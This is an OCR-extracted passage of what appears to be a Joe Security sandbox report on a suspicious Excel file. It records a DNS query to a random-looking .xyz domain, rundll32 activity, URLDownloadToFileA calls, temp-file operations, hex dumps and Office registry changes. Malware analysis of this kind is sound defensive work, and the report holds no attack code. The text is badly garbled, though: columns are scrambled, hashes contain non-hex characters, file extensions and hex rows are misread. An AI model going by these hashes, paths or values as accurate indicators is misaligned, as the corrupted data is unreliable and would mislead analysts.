May 12, 2021 02:23:53.896385908 CEST 192.168.2.22 8.8.8.8 0x312a Standard query  qvqy23thds A (IP address) IN (0x0001)
(0) ed03xjeqtf.xyz

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 12, 2021 8.8.8.8 192.168.2.22 0x312a Name error (3)  qvqy23thds none none A (IP address) IN (0x0001)
02:23:53.958700895 ed03xjeqtf.xyz
CEST

Code Manipulations
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Statistics

Behavior

@ EXCEL.EXE
@ rundl32.exe

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 2412 Parent PID: 584

General

Start time: 02:23:39

Start date: 12/05/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f020000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\DD35.tmp read attributes | device synchronous io  success or wait 1 13F36EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\2FDE0O00O read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\Desktop\~$lovwfUybUJ.xIsx read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
delete | syn non alert | non
chronize | directory file |
generic read | delete on close
generic write | open no recall
C:\Users\user\Desktop\FFDE0O0OO read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
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File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\B9BF.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\DD35.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\B9BF.tmp

Copyright Joe Security LLC 2021

Access

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic read

Attributes

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

success or wait 1

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count

Source
Address

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13FD4828C

13F36EC83

Symbol
URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

Source

Count Address

P PR R R R R R R R R R R R

13F5DB818

13F5DB818

Symbol
DeleteFileW

7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown

DeleteFileW
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File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\2FDE00O0O
C:\Users\user\Desktop\FFDE0O0OO
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image013.png
C:\Users\user\AppData\Local\Temp\imgs_files\image014.png
C:\Users\user\AppData\Local\Temp\imgs_files\image015.png
C:\Users\user\AppData\Local\Temp\imgs_files\image016.png
C:\Users\user\AppData\Local\Temp\imgs_files\image017.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pn__
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image022.pn__
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path
C:\Users\user\Desktop\~$lovwfUybUJ.xIsx

C:\Users\user\Desktop\~$lovwfUybUJ.xIsx

C:\Users\user\Desktop\~$lovwfUybUJ.xls
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Offset

unknown 55

unknown 110

unknown 55

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv
C:\Users\user\Desktop\lovwfUybUJ.xIsx18
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image022.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value Ascii

0541 6¢ 627573 20 .user
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00

VAlbuso oo

0541 6¢ 627573 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

.user

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

. success or wait

success or wait

Count

P R R R R R R R R R R R P R R R R R R R R @R

Count

1

1

1

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

13F26F526

13F26F591

13F26F526

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol
WriteFile

WriteFile

WriteFile
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File Path
C:\Users\user\Desktop\~$lovwfUybUJ.xls

C:\Users\user\AppData\Local\Temp\2FDE00O0O

C:\Users\user\AppData\Local\Temp\2FDE000O

Copyright Joe Security LLC 2021

Offset

Length Value

unknown 110

569

1026

457

2

Ascii

Completion

050041006c0062 ..Albus............... success or wait

00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

b4 55 c9 6e db 30 10 .U.n.0....

bd 17 e8 3f 08 bc 16
12 9d 1c 8a a2 b0 9c
43 9b 1e db 00 49 3f
80 26 c7 12 61 6e €0
3089 fd 7 1d d2 8a
db 1a 8e 25 c7 ed 45
Ob a9 79 db 08 c3 f9
cd c6 9a ea 09 22 6a
ef 5a 76 d5 cc 58 05
4e 7a a5 5d d7 b2 of
Of df ea 4f ac c2 24
9c 12 c6 3b 68 d9 16
90 dd 2c de bf 9b 3f
6¢ 03 60 45 d5 Oe 5b
d6 a7 14 3e 73 8e b2
07 2b b0 f1 01 1c ed
ac7cb4 22 dl6bec
7810 72 2d 3a €0 d7
b3 d9 47 2e bd 4b e0
52 9d 32 06 5b cc bf
c2 4a 3c 9a 54 dd 6e
68 79 a7 64 a9 1d ab
be ec be cb 54 2d 13
21182d4522alfc
c9 a9 03 92 da af 56
5a82f2f2d11274
83218250 d8 03 24
6b 9a 10 3531 ¢c6 7b
48 89 8c 21 €3 47 39
83 eb Oe 38 b5 cd 9a
3 fa f1 8a 08 06 Of
4a 46 64 Oe 39 34 54
59 ac 60 af 03 7e a0
b0 5e 61 c8 3b af e7
30 d4 fd a0 06 46 ad
a0 ba 13

03 00

9%..E.y........
M.Zv. X.Nz.]......0..$...;h.
2LE.[..>s*
kx.r-...G.K.R.2.[...J<
T.nhyd..... . T-L-E".......
VZ....t.LP.$k..51.{H...G9
JFd.94TY. .~

success or wait

success or wait

Count Address

1

27

22

Source
Symbol

13F26F591 WriteFile

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\2FDE00O0O

C:\Users\user\AppData\Local\Temp\2FDE000O

Copyright Joe Security LLC 2021

Offset
0

8451

Length Value

569

848

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
df 67 f1 43 cb 01 00

00 650700001300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20 a2 04 0228 a0 00 .

02 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

89 50 4e 47 0d Oa l1a .

0a 00 00 00 Od 49 48
4452 00 00 00 18 00

Ascii

PK.....oo.e. l..gC..e....
[Content_Types].xml ...

...#.....IDATBO.TIH.Q..;3..

00 00 18 08 02 00 00 .

00 6f 15 aa af 00 00
00 01 73 52 47 42 00
ae ce 1c e9 00 00 00
09 70 48 59 73 00 00
Oe c4 00 00 Oe c4 01
95 2b Oe 1b 00 00 02
5 49 44 41 54 38 4f
9d 54 5d 48 14 51 14
9e 3b 33 eb cc ee 8e
3f ab eb 66 6b ae 6¢
52 a6 al 52 24 08 52
6 50 62 85 51 04 81
1542 11 81 4f 41 7f
a8 54 24 82 68 41 44
85 19 08 4a Oa a6 2f
16 al 2d 68 Of d6 93
d8 9f 66 6a e6 Of 2b
la ee b6 b5 e6 ee b8
b3 3b 73 e7 76 67 c5
5a 73 77 b5 3d 1c 18
86 7b ce 77 bf 73 ce
77 0f 40 08 11 04 d1
de 3bf9 a8 73 e4 eb
1c 4f c8 12 fe dd 90
01 da9ca42e3b9l
79 ba 70 1b 8e 07 12
94 cb ea fa 2c 1f 05
8733140204972
19 3a bc 01 00 20 84
3ec4 92 4c4c 6116
f3 b8 62 3f 68 €9 1e
ab 6¢ 9e 36 c5 09 55
e7f7 98

.2.fkIR..R$.R.Pb.Q...B..0

A.T$.hAD...J../..-
h....fj.+ ;S.VQ.ZSW.=...
{w.s.w.@

8.0 Ype.

ey S1@ Iril.. > LLa...b?

h..1.6.U...

Completion

success or wait

success or wait

Count Address

26

4

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\2FDE00O0O

C:\Users\user\Desktop\~$lovwfUybUJ.xIsx

C:\Users\user\Desktop\~$lovwfUybUJ.xIsx

Copyright Joe Security LLC 2021

Offset Length Value Ascii

82184 1868

unknown 55

unknown 110

Completion

success or wait
00 06 00 08 00 00 00
2100 df 67 f1 43 cb
01 00 00 65 07 00 00
13 00 00 00 00 00 00 IsPK
0000 00 00 0000 00 .............%...

00 00 00 00 5b 43 6f kbook.xml.relsPK..
6e 74 65 6e 74 5f54 .a.G...m
79 70 65 73 5d 2e 78 xl/workbook.xml
6d 6¢ 50 4b 01 02 2d

00 14 00 06 00 08 00

00 00 21 00 b5 55 30

23 f5 00 00 00 4c 02

00 00 Ob 00 00 00 00

00 00 00 00 00 00 00

00 00 04 04 00 00 5f

72 65 6¢ 73 2f 2e 72

65 6¢ 73 50 4b 01 02

2d 00 14 00 06 00 08

00 00 00 21 00 69 36

8b 68 46 01 00 00 e3

04 00 00 1a 00 00 00

00 00 00 00 00 00 00

00 00 00 2a 07 00 00

78 6¢ 2f 5f 72 65 6C

73 2f 77 6f 72 6b 62

6f 6f 6b 2e 78 6d 6¢

2e 72 65 6¢ 73 50 4b

01 02 2d 00 14 00 06

00 08 00 00 00 21 00

a6 61 f3 47 d1 01 00

00 6d 03 00 00 Of 00

00 00 00 00 00 00 00

00 00 00 00 00 b0 09

00 00 78 6¢ 2f 77 6f

72 6b 62 6f 6f 6b 2e

78 6d 6C

0541 6¢ 627573 20 .user
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

success or wait

050041006c0062 ..Albus............... success or wait
00750073002000 .. .vvvieeiiaeeae
20002000200020 . ............

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00 20 00

20 00 20 00 20 00 20

00 20 00 20 00

Source

Count Address Symbol

1

1

1

7FEEAC59ACO unknown

13F26F526 WriteFile

13F26F591 WriteFile
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File Path
C:\Users\user\Desktop\FFDE0O0OO

C:\Users\user\Desktop\FFDE0O0OO
C:\Users\user\Desktop\FFDE0O0OO

Copyright Joe Security LLC 2021

Offset
569

982

Length Value

413

569

cc 55 c9 4e ¢330 10
bd 23 f1 0f 91 af 28
7159 85 50 53 Oe 2c

4740a27c801b4f @....H.N.[..c....lY.jg!..@
13 ab 89 6d 79 86 2e (4?8=....0a.\TD.NJ,*h.f.......
"~.....Ew#.g.,..9....c.YS.

7f cf 38 6d 11 aa 4a
a3 8a4af4 92 c5 6
5b e6 25 9a e9 df cf

9b 32 99 42 40 e3 6¢ .i..9.0G..q..as.C....... S —

2e ce b3 9e 48 c0 16
4e 1b 5b e6 €2 63 f8
9c de 8a 04 49 59 ad
6a 67 2117 Ob 40 71
3f383de9 0f 17 1e
30 61 b4 c5 5¢c 54 44
fe 4e 4a2c 2a 68 14
66 ce 83 €5 9d b1 Ob
8d 22 7e 0d a5 f4 aa
98 a8 12 e4 45 af 77
23 0b 67 09 2c a5 14
39 c4 a0 ff 08 63 f5
59 53 f2 34 e7 €5 a5
9391 b1 22 79 58 9e
8b 52 b9 50 de d7 a6
50 c4 46 e5 d4 ea 0d
91 d4 8d c7 a6 00 ed
8a cf 86 a9 33 f4 01
94 c6 0a 80 9a 3a f3
c1 b0 62 78 07 22 2e
Oc 85 dc aa e9 6d b9
al 69 9a e8 39 ae 6f
47 04 a8 71 03 d2 61
7395 43 c6 c8 b6 14
ac 8c c7 33 Oe eb 17
85 b8 f3 7b Oe 2b dc
2b 7f c0 60 34 24 6f
2a d0 8b

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
b1 32 b9 01 9f 01 00

00 ce 07 00001300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2 04 0228 a0 00 .
02 00 00 00 00 00 00 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii

.U.N.O.#....
(qY.PS.,.G@.]..0..
.my....8m..J..J....[ . %.......

4

{+.+../4%0*..

PK..oeie L2
[Content_Types].xml ...

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

27

22
26

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path Offset
C:\Users\user\Desktop\FFDE0O0OO 7313
C:\Users\user\Desktop\FFDE0O0OO 81046

File Read

File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5214BE50.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\4B18A11.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\47B18D72.png

Copyright Joe Security LLC 2021

Length Value

848

1851

Source

Ascii Completion Count Address Symbol

89 50 4e 47 0d Oa 1a .PNG........ | 1) R SS——— (o] 7FEEAC59ACO unknown
0a 00 00 00 Od 49 48
4452 0000001800 ....
00 00 18 08 02 00 00 .

00 6f15aaaf 0000 .?..fk.IR..R$.R.Pb.Q...B..O

0001 7352474200 A.T$.hAD...J../..-

success or wait 4

...IDAT8O.TJH.Q..;3..

Oec400000ec401 .
95 2b O0e 1b 00 00 02 ...
5 49 44 41 54 38 4f
9d 54 5d 48 14 51 14
9e 3b 33 ebcc ee 8e
3f ab eb 66 6b ae 6¢
52 a6 al 52 24 08 52
6 50 62 85 51 04 81
1542 11 81 4f 41 7f
a8 54 24 82 68 41 44
85 19 08 4a Oa a6 2f
16 al 2d 68 0Of d6 93
d8 9f 66 6a e6 Of 2b
la ee b6 b5 e6 ee b8
b3 3b 73 e7 76 67 c5
5a 73 77 b5 3d 1c 18
86 7b ce 77 bf 73 ce
77 0f 40 08 11 04 d1
de 3bf9 a8 73 e4 eb
1c 4f c8 12 fe dd 90
01 da9c a4 2e3b9l
79 ba 70 1b 8e 07 12
94 cb ea fa 2c 1f 05
€8 733140204972
19 3a bc 01 00 20 84
3ec4 92 4c4c 6116
f3 b8 62 3f 68 €9 1e
ab 6¢ 9e 36 c5 09 55
e7f7 98

50 4b 01 02 2d 00 14 PK..-
00 06 00 08 00 00 00 -
2100 b132b9019f J.xmIPK..
01 00 00 ce 07 00 00
13 00 00 00 00 00 00 IsPK
00 00 00 00 0000 00 .

7FEEAC59ACO unknown

success or wait 1

._relsl.re
X Zen
...XI/_rels/wor

6e 74 65 6e 74 5f54 .a.G...M....ccocoruuee ]...
79 70 65 73 5d 2e 78 xl/workbook.xml
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
23 f5 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 d8 03 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 3d 58
80 7a 1f 01 00 00 ee
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 fe 06 00 00
78 6¢ 2f 5f 72 65 6C
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
a6 61 f3 47 d1 01 00
00 6d 03 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 5d 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6C

Source

Offset Length Completion Count Address Symbol

success or wait 2 7FEEAC59ACO unknown

0 34780 success or wait 2 7FEEAC59ACO unknown

0 8301 success or wait 2 7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\32819ACB.png

C:\Users\user\Desktop\lovwfUybUJ.xIsx
C:\Users\user\Desktop\lovwfUybUJ.xIsx
C:\Users\user\Desktop\lovwfUybUJ.xIsx

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\47B18D72.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\32819ACB.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5214BE50.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\4B18A11.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\47B18D72.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\32819ACB.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5214BE50.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\4B18A11.png

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

Offset Length
0 557
unknown 8

0 8

984 41

0 8301
0 557

0 848

0 34780
0 8301
0 557

0 848

0 34780

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDD64

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDE2F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDEBB

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDF86

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE051

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\10C320

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\10CF9E

Key Value Created

Key Path Name
HKEY_CURRENT_USER\Software\Mic Max Display
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 2
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 3
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 4
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 5
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 6
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 7

rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

Completion

success or wait

success or wait
pending
pending

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

2

L S

Count

P PR R R R R R R R OO R

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
